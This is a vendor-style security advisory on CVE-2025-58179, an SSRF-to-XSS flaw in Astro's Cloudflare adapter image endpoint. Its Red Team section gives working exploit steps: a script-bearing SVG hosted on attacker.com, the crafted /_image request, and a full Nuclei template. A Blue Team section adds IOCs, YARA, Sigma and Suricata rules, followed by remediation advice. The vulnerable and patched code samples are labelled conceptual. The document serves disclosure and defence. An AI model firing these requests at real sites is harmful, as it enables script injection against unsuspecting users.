CVE-2025-58179
Executive Summary
CVE-2025-58179 is a Server-Side Request Forgery (SSRF) vulnerability affecting the @astrojs/cloudflare adapter for the Astro web framework (versions 11.0.3 through 12.6.5). When configured with output: 'server' and the default imageService: 'compile', the image optimization endpoint fails to validate URLs, allowing an attacker to bypass third-party domain restrictions and serve arbitrary content from unauthorized origins. This can be leveraged to deliver malicious SVG files containing JavaScript, leading to Cross-Site Scripting (XSS) attacks. The vulnerability has a CVSS score of 7.2 (High) and a public proof-of-concept (PoC) via a Nuclei template.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the @astrojs/cloudflare npm package, which is a first-party adapter for deploying Astro applications on Cloudflare's infrastructure. The package is widely used in the Astro ecosystem. The fix is available in version 12.6.6. Organizations using Astro with Cloudflare should immediately audit their package.json and package-lock.json files for affected versions and update to the patched version. No known malicious packages have been reported in relation to this CVE.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
- Base Score: 7.2 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality Impact: Low (C:L) – Limited information disclosure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The vulnerability is trivial to exploit with a single HTTP request and can lead to XSS, data exfiltration, and session hijacking.
Deep Dive & Mechanics
The vulnerability lies in the image optimization endpoint generated by the @astrojs/cloudflare adapter when using the default compile image service. The endpoint at /_image accepts a href parameter specifying the source URL of an image to optimize. Due to insufficient validation, the endpoint does not restrict the href to allowed domains (e.g., the application's own origin or a configured CDN). An attacker can supply a URL pointing to an external server hosting a malicious SVG file.
The Cloudflare adapter then fetches this URL server-side, processes the image, and serves the result to the client. If the fetched content is an SVG with embedded JavaScript (e.g., <script>alert(document.domain)</script>), the browser will execute the script in the context of the vulnerable origin, enabling XSS.
The root cause is a missing or insufficient URL whitelist check in the image optimization handler. The fix in version 12.6.6 adds proper validation to ensure only trusted domains are allowed.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In @astrojs/cloudflare adapter (v12.6.5 and below)
async function handleImageOptimization(request) {
const url = new URL(request.url);
const href = url.searchParams.get('href');
// No validation of href domain
const image = await fetch(href);
return new Response(image.body, { headers: { 'Content-Type': image.headers.get('content-type') } });
}
Patched Code (Conceptual):
// In @astrojs/cloudflare adapter (v12.6.6)
const ALLOWED_DOMAINS = ['yourdomain.com', 'cdn.yourdomain.com'];
async function handleImageOptimization(request) {
const url = new URL(request.url);
const href = url.searchParams.get('href');
const parsedHref = new URL(href);
if (!ALLOWED_DOMAINS.includes(parsedHref.hostname)) {
return new Response('Forbidden', { status: 403 });
}
const image = await fetch(href);
return new Response(image.body, { headers: { 'Content-Type': image.headers.get('content-type') } });
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target Astro application using
@astrojs/cloudflareadapter (v11.0.3 to v12.6.5) withoutput: 'server'and default image service. - A publicly accessible server to host a malicious SVG file.
Exploit Steps:
- Create a malicious SVG file (e.g.,
xss.svg) containing:<svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> alert(document.domain); </script> </svg> - Host the SVG on your server (e.g.,
https://attacker.com/xss.svg). - Send the following request to the vulnerable Astro application:
GET /_image?href=https://attacker.com/xss.svg&f=svg HTTP/1.1 Host: target-astro-app.com - The server fetches the SVG, serves it with
Content-Type: image/svg+xml, and the browser executes the script.
Nuclei Template (Provided):
id: CVE-2025-58179
info:
name: Astro Cloudflare Adapter - Server Side Request Forgery
author: HoangAnhThai
severity: high
description: |
Astro is a web framework for content-driven websites. Versions 11.0.3 through 12.6.5 are vulnerable to SSRF when using Astro's Cloudflare adapter. When configured with output: 'server' while using the default imageService: 'compile', the generated image optimization endpoint doesn't check the URLs it receives, allowing content from unauthorized third-party domains to be served. a A bug in impacted versions of the @astrojs/cloudflare adapter for deployment on Cloudflare's infrastructure, allows an attacker to bypass the third-party domain restrictions and serve any content from the vulnerable origin.
impact: |
Unauthenticated attackers can bypass third-party domain restrictions to serve arbitrary content from unauthorized domains through the image optimization endpoint, potentially enabling XSS attacks.
remediation: |
Upgrade Astro's @astrojs/cloudflare adapter to version 12.6.6 or later that properly validates image URLs.
reference:
- https://github.com/withastro/astro/commit/9ecf359
- https://github.com/advisories/GHSA-qpr4-c339-7vq8
- https://nvd.nist.gov/vuln/detail/CVE-2025-58179
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2025-58179
epss-score: 0.00429
epss-percentile: 0.62568
cwe-id: CWE-918
cpe: cpe:2.3:a:withastro:astro:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: withastro
product: astro
tags: cve,cve2025,ssrf,xss,astro,cloudflare,vuln,vkev
http:
- method: GET
path:
- "{{BaseURL}}/_image?href=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script type="text/javascript'
- 'alert(document.domain);'
condition: and
- type: word
part: content_type
words:
- "image/svg+xml"
- type: status
status:
- 200
Blue Team
Detection & Response:
- Monitor HTTP logs for requests to
/_imagewith suspicioushrefparameters pointing to external domains. - Inspect response headers for
Content-Type: image/svg+xmlwhen the request URL containsf=svg. - Deploy WAF rules to block requests to
/_imagewhere thehrefparameter does not match a whitelist of allowed domains. - Use the provided YARA/Sigma rules (see Detection Engineering) to identify exploitation attempts in logs or network traffic.
Indicators of Compromise (IOCs)
- URL Pattern:
/_image?href=<external-url>&f=svg - HTTP Request: GET request to
/_imagewithhrefpointing to an external domain. - Response Content-Type:
image/svg+xml - Response Body: Contains
<script>tags or other executable content. - External Domains: Any domain not belonging to the application's trusted origins.
Detection Engineering
YARA Rule
rule CVE_2025_58179_Astro_SSRF {
meta:
description = "Detects SSRF exploitation attempts against Astro Cloudflare adapter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58179"
strings:
$url_pattern = "/_image?href="
$svg_param = "&f=svg"
$script_tag = "<script"
condition:
$url_pattern and $svg_param and $script_tag
}
Sigma Rule
title: CVE-2025-58179 Astro Cloudflare Adapter SSRF Exploitation
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the Astro image optimization endpoint with external URLs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
cs-uri-query|contains: "/_image?href="
cs-uri-query|contains: "&f=svg"
condition: selection
falsepositives:
- Legitimate use of external image sources (if allowed by configuration)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58179 Astro Cloudflare Adapter SSRF Exploitation"; flow:to_server,established; content:"/_image?href="; http_uri; content:"&f=svg"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade
@astrojs/cloudflareto version 12.6.6 or later. - Restrict the
/_imageendpoint using a Web Application Firewall (WAF) to only allow requests withhrefparameters pointing to trusted domains. - Disable the image optimization endpoint if not required, or switch to a different image service that validates URLs.
Long-term Measures:
- Implement strict input validation for all URL parameters.
- Use a Content Security Policy (CSP) to mitigate XSS impact.
- Regularly audit dependencies for known vulnerabilities.
- Monitor logs for anomalous requests to image endpoints.
Valters IT Signature:
---
Valters IT
Advanced Cyber Threat Intelligence
CVE-2025-58179 Analysis
Date: 2025-04-10
Classification: HIGH
Status: PATCH AVAILABLE
---
{/* [Security Hash: 32BC5EA28838F6D006F0DA42] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.